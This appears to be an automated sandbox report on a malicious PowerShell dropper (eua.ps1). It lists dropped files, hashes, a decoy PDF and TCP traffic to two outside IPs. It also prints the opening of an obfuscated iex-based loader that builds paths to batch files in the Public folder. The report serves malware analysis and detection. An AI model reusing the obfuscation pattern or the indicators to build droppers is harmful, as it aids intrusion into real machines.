Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg">. <g fill="#2e3436">. <path d="m 11 8 c 0 1.65625 -1.34375 3 -3 3 s -3 -1.34375 -3 -3 s 1.34375 -3 3 -3 s 3 1.34375 3 3 z m 0 0"/>. <path d="m 8 1 c -3.851562 0 -7 3.144531 -7 7 s 3.148438 7 7 7 s 7 -3.144531 7 -7 s -3.148438 -7 -7 -7 z m 0 2 c 2.773438 0 5 2.230469 5 5 s -2.226562 4.996094 -5 4.996094 s -5 -2.226563 -5 -4.996094 s 2.226562 -5 5 -5 z m 0 0"/>. <path d="m 7 0 h 2 v 3 h -2 z m 0 0"/>. <path d="m 7 13 h 2 v 3 h -2 z m 0 0"/>. <path d="m 16 7 v 2 h -3 v -2 z m 0 0"/>. <path d="m 3 7 v 2 h -3 v -2 z m 0 0"/>. </g>.</svg>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\network-cellular-symbolic.svg

Process:	C:\Users\Public\fcab.bat
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	441
Entropy (8bit):	4.575285851859924
Encrypted:	false
SSDEEP:	12:t4CDqwqZo8nGGa6Smf+e9s/J7e3VN5IUavl+i:t4CGosm6Sle9s/Be3Vv+lN
MD5:	79F668FBC971471D3CE930DD5B53F01D
SHA1:	0A21641F8BDCA5C3DDAAA2224E80784BF1F3EE9A
SHA-256:	8ECA65E299CCB64B2145263827EED45130336E01A4FB1F309C8A36E8751473D4
SHA-512:	DFA0CD2923F83514181299F7374D553B2B427028E47BC2033E377850FD98121806EA370DEE64349AE410F84CC815E74AFF8E11227FCF21E2E1BF83BAA6BD2616
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"><path d="M2 1c-1.261.98-2 2.833-2 5 0 2.127.777 4.005 2 5h1V9c-.607-.78-1-1.759-1-3s.393-2.211 1-3V1zm11 0v2c.607.789 1 1.759 1 3s-.393 2.22-1 3v2h1c1.223-.995 2-2.873 2-5 0-2.167-.739-4.02-2-5zM4 3c-.688.784-1 1.743-1 3s.328 2.163 1 3h1V3zm7 0v6h1c.672-.837 1-1.743 1-3s-.312-2.216-1-3zM8 4a2 2 0 100 4 2 2 0 000-4zm0 5a1 1 0 00-1 1v6h2v-6a1 1 0 00-1-1z" fill="#2e3436"/></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.9260988789684415
Encrypted:	false
SSDEEP:	3:Nlllulb/lj:NllUb/l
MD5:	13AF6BE1CB30E2FB779EA728EE0A6D67
SHA1:	F33581AC2C60B1F02C978D14DC220DCE57CC9562
SHA-256:	168561FB18F8EBA8043FA9FC4B8A95B628F2CF5584E5A3B96C9EBAF6DD740E3F
SHA-512:	1159E1087BC7F7CBB233540B61F1BDECB161FF6C65AD1EFC9911E87B8E4B2E5F8C2AF56D67B33BC1F6836106D3FEA8C750CC24B9F451ACF85661E0715B829413
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0oywvydb.2fy.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_koaug0jv.qrs.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\nsjD2A6.tmp\System.dll

Process:	C:\Users\Public\fcab.bat
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.659384359264642
Encrypted:	false
SSDEEP:	192:ex24sihno00Wfl97nH6BenXwWobpWBTtvShJ5omi7dJWjOlESlS:h8QIl972eXqlWBFSt273YOlEz
MD5:	8B3830B9DBF87F84DDD3B26645FED3A0
SHA1:	223BEF1F19E644A610A0877D01EADC9E28299509
SHA-256:	F004C568D305CD95EDBD704166FCD2849D395B595DFF814BCC2012693527AC37
SHA-512:	D13CFD98DB5CA8DC9C15723EEE0E7454975078A776BCE26247228BE4603A0217E166058EBADC68090AFE988862B7514CB8CB84DE13B3DE35737412A6F0A8AC03
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....uY...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..`....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\01CB373UZIDUAU9XTZGP.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6205
Entropy (8bit):	3.7721478608118546
Encrypted:	false
SSDEEP:	48:I4gokP7yV8FEcD2eCBUUHwS81jTukvhkvklCywC0AWKoJS8TySogZo4GgWKoJS8W:InoO6SCvQ51ekvhkvCCtCZ30H7330H7q
MD5:	4F7B548617649A178D596BEB978A07F7
SHA1:	D7C2B28DF394ADEECFB50546DB60C6E2755641E0
SHA-256:	8C414FB9B3D57D74258BDDEA87AF41D0EFBF458E66AD09122F29224B1D0B0E16
SHA-512:	34890C938852010B5F54EC3F0E379396EABDB0806C0E5F313FF12990CFD3F23907A8235FAD3E710AEBBF49F4B5AB19A89E162BAE127BB900D19DAD7589BFD7B2
Malicious:	false
Preview:	...................................FL..................F.".. ...N....-..;yz(.a..\.................................:..DG..Yr?.D..U..k0.&...&...........-...T.......8.>........t...CFSF..1......Nz...AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......Ny..V.......Y....................f.(.A.p.p.D.a.t.a...B.V.1......Nz...Roaming.@.......Ny..V.......Y....................D1,.R.o.a.m.i.n.g.....\.1......U...MICROS~1..D.......Ny..V.......Y....................b5..M.i.c.r.o.s.o.f.t.....V.1......U....Windows.@.......Ny..V.......Y......................Q.W.i.n.d.o.w.s.......1......N{...STARTM~1..n.......Ny..V.......Y..............D.......0.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......P.q..Programs..j.......Ny..V.......Y..............@........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......L...WINDOW~1..V.......Ny..U.......Y....................T_..W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......L.. .WINDOW~1.LNK..^.......Ny..P.......Y..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6205
Entropy (8bit):	3.7721478608118546
Encrypted:	false
SSDEEP:	48:I4gokP7yV8FEcD2eCBUUHwS81jTukvhkvklCywC0AWKoJS8TySogZo4GgWKoJS8W:InoO6SCvQ51ekvhkvCCtCZ30H7330H7q
MD5:	4F7B548617649A178D596BEB978A07F7
SHA1:	D7C2B28DF394ADEECFB50546DB60C6E2755641E0
SHA-256:	8C414FB9B3D57D74258BDDEA87AF41D0EFBF458E66AD09122F29224B1D0B0E16
SHA-512:	34890C938852010B5F54EC3F0E379396EABDB0806C0E5F313FF12990CFD3F23907A8235FAD3E710AEBBF49F4B5AB19A89E162BAE127BB900D19DAD7589BFD7B2
Malicious:	false
Preview:	...................................FL..................F.".. ...N....-..;yz(.a..\.................................:..DG..Yr?.D..U..k0.&...&...........-...T.......8.>........t...CFSF..1......Nz...AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......Ny..V.......Y....................f.(.A.p.p.D.a.t.a...B.V.1......Nz...Roaming.@.......Ny..V.......Y....................D1,.R.o.a.m.i.n.g.....\.1......U...MICROS~1..D.......Ny..V.......Y....................b5..M.i.c.r.o.s.o.f.t.....V.1......U....Windows.@.......Ny..V.......Y......................Q.W.i.n.d.o.w.s.......1......N{...STARTM~1..n.......Ny..V.......Y..............D.......0.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......P.q..Programs..j.......Ny..V.......Y..............@........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......L...WINDOW~1..V.......Ny..U.......Y....................T_..W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......L.. .WINDOW~1.LNK..^.......Ny..P.......Y..........

C:\Users\user\Desktop\List of required items and services.pdf

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7 (zip deflate encoded)
Category:	dropped
Size (bytes):	653248
Entropy (8bit):	7.983402816932296
Encrypted:	false
SSDEEP:	12288:Z5j8QLfikr2uyiCDVvzDFgONPYpKE7nmP4II3xHjK4HTbuSGxEw6:H8QbZ2upCDtuOQKE7nmA3xWYT6LT6
MD5:	9B05142184F080AE36983D0A25597143
SHA1:	6421CD63995163132E89709FF70D695825A3CBDC
SHA-256:	F16B7347BCAADA09E4A85E92A704CCC67F413DDBA62BBDF4BBE14A7B687AC455
SHA-512:	EBDB6D9682A0DAC526214D9E5173E0CF627D1E538F2A728768E913FD2CE94B926DA6A248DFB5AE6D1DFAF0CE33807D3007D05785BE200687C55B926DCE6908DC
Malicious:	false
Preview:	%PDF-1.7.%......129 0 obj.<</Linearized 1/L 653248/O 131/E 86423/N 5/T 652770/H [ 497 273]>>.endobj. ..143 0 obj.<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<E39576C475ABEC43A187B9D780C4757D><641CA28703C4B144886F342023B34532>]/Index[129 38]/Info 128 0 R/Length 89/Prev 652771/Root 130 0 R/Size 167/Type/XRef/W[1 3 1]>>stream..h.bbd`.``b``..".:@$S.X..D....'..n..l..d.....IFwf.x-...$..4f`..,.V..8.....7@.??.@....:.M..endstream.endobj.startxref..0..%%EOF.. ..165 0 obj.<</C 180/E 164/Filter/FlateDecode/I 202/Length 167/O 126/S 74/V 142>>stream..h.b```a``.d`e`H.g.b@.!.f.........uv..g..u..(;.p0..2.h..@....b..H..1/.X..FI.....,]..5.....1*...d....f.i......H.0p.Z..3..E..../.(C!..2p....L...pUF.._.CU...0..."...endstream.endobj.130 0 obj.<</AcroForm 144 0 R/Metadata 48 0 R/Names 145 0 R/Outlines 103 0 R/Pages 127 0 R/StructTreeRoot 117 0 R/Type/Catalog>>.endobj.131 0 obj.<</Contents 132 0 R/CropBox[0 0 595.44 841.68]/Group<</CS/DeviceRGB/S/Transparency/T

Static File Info

General

File type:	ASCII text, with very long lines (824), with no line terminators
Entropy (8bit):	5.3428009974785216
TrID:
File name:	eua.ps1
File size:	824
MD5:	d5e25a8c8e85c5fa9991211f997985cf
SHA1:	8a895a7fba1db62268d9432e0b6fc0d71c4f7052
SHA256:	7ce62c06be515c4e3e45f855d4ffd3d03cb6f9d78d7387e397881f5cedeb6ce5
SHA512:	743d93f7ccf883dceebdb4e902d0f100d416e84c843278062111976650c78980f8d24fab2517e7dc1b8e6d0501e479dfe167ed71ea2b2320ea5192adf18364bf
SSDEEP:	24:qCUHC8iWIwSfsXLiZovoaTWAa6W9zmPP1/b:c5IwSEW2oaZqzu1j
TLSH:	F6011E8A6587AAF3525074A930C8593E6236D619B1D504B2F5A8892720BC73F0E9253A
File Content Preview:	$flol3=iex($('[Environment]::GetEdwct'''.Replace('dwc','nvironmentVariable(''public'') + ''\\q5syjd.ba')));$flol=iex($('[Environment]::GetEdwct'''.Replace('dwc','nvironmentVariable(''public'') + ''\\fcab.ba')));function getit([string]$fz, [string]$oulv){$

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 1, 2023 12:14:13.970452070 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:13.970515013 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:13.970710039 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:13.988555908 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:13.988600016 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.065453053 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.065639973 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.070396900 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.070425034 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.070822954 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.099852085 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.137686014 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.137773037 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.137985945 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.138019085 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.168477058 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.168647051 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.168745995 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.168829918 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.168847084 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.168947935 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.199964046 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.200150013 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.200189114 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.200213909 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.200278997 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.200319052 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.200371027 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.200453997 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.200576067 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.200650930 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.200850964 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.200932980 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.201107025 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.201186895 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.201318979 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.201396942 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.232986927 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.233176947 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.233207941 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.233290911 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.233428955 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.233535051 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.233664036 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.233751059 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.233907938 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.233994007 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.234217882 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.234311104 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.234467030 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.234558105 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.234721899 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.234806061 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.235025883 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.235104084 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.235279083 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.235361099 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.235527992 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.235606909 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.235775948 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.235860109 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.266974926 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.267102957 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.267123938 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.267143011 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.267220020 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.267271042 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.267381907 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.267483950 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.267718077 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.267796040 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.267997980 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.268126965 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.268253088 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.268342972 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.268847942 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.268956900 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.269104004 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.269206047 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.269359112 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.269444942 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.269608021 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.269721985 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.269902945 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.269988060 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.270149946 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.270245075 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.270359039 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.270448923 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.270586967 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.270684958 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.270704031 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.270785093 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.270869970 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.270972967 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.271053076 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.271146059 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.271213055 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.271290064 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.271352053 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.271433115 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.271502018 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.271590948 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.589797020 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.589901924 CEST	443	49697	84.16.234.51	192.168.2.3
Jun 1, 2023 12:14:14.590040922 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:14.592058897 CEST	49697	443	192.168.2.3	84.16.234.51
Jun 1, 2023 12:14:17.102041006 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.269969940 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.270291090 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.270826101 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.439408064 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.439981937 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.440037012 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.440083981 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.440118074 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.440157890 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.440165043 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.440207958 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.440243959 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.440253019 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.440323114 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.440370083 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.440402031 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.440402031 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.440416098 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.440495968 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.608191013 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.608243942 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.608390093 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.608406067 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.608460903 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.608562946 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.608597994 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.608633041 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.608640909 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.608695030 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.608753920 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.608756065 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.608753920 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.608794928 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.608850956 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.608855009 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.608891010 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.608953953 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.608990908 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.609049082 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.609050035 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.609049082 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.609087944 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.609147072 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.609153986 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.609193087 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.609256983 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.609265089 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.609294891 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.609467983 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.777092934 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.777168989 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.777245998 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.777316093 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.777331114 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.777391911 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.777432919 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.777465105 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.777532101 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.777601957 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.777625084 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.777673960 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.777698040 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.777743101 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.777812958 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.777820110 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.777880907 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.777951956 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.778013945 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.778018951 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.778085947 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.778105974 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.778153896 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.778225899 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:17.778264046 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:17.778295994 CEST	80	49698	203.175.174.69	192.168.2.3
